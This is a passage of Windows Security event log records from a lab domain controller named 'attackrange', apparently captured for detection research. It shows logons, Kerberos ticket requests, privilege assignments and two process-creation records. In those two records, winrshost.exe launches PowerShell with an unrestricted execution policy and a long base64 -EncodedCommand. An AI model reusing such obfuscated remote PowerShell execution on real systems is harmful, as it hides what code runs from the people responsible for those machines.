accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252578 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {57681CD2-1F89-9D48-0B76-A53019935F69} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252577 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {57681CD2-1F89-9D48-0B76-A53019935F69} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252576 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252575 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x169088 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252574 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x16A501 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252573 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x16A501 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {516F09E8-915A-EEAE-06B7-D42FEBA6FC38} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 64642 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252572 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x16A501 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252694 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x16E86F - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252693 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x16E86F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {06728C1D-F671-43BF-CD48-1FE451E14338} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252692 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {06728C1D-F671-43BF-CD48-1FE451E14338} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252691 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {06728C1D-F671-43BF-CD48-1FE451E14338} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252690 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252689 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x168BE9 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1328 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1054 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252688 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x168BE9 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1054 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x134c - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252687 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x16E687 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252686 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x16E687 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {06728C1D-F671-43BF-CD48-1FE451E14338} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252685 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {06728C1D-F671-43BF-CD48-1FE451E14338} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252684 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: 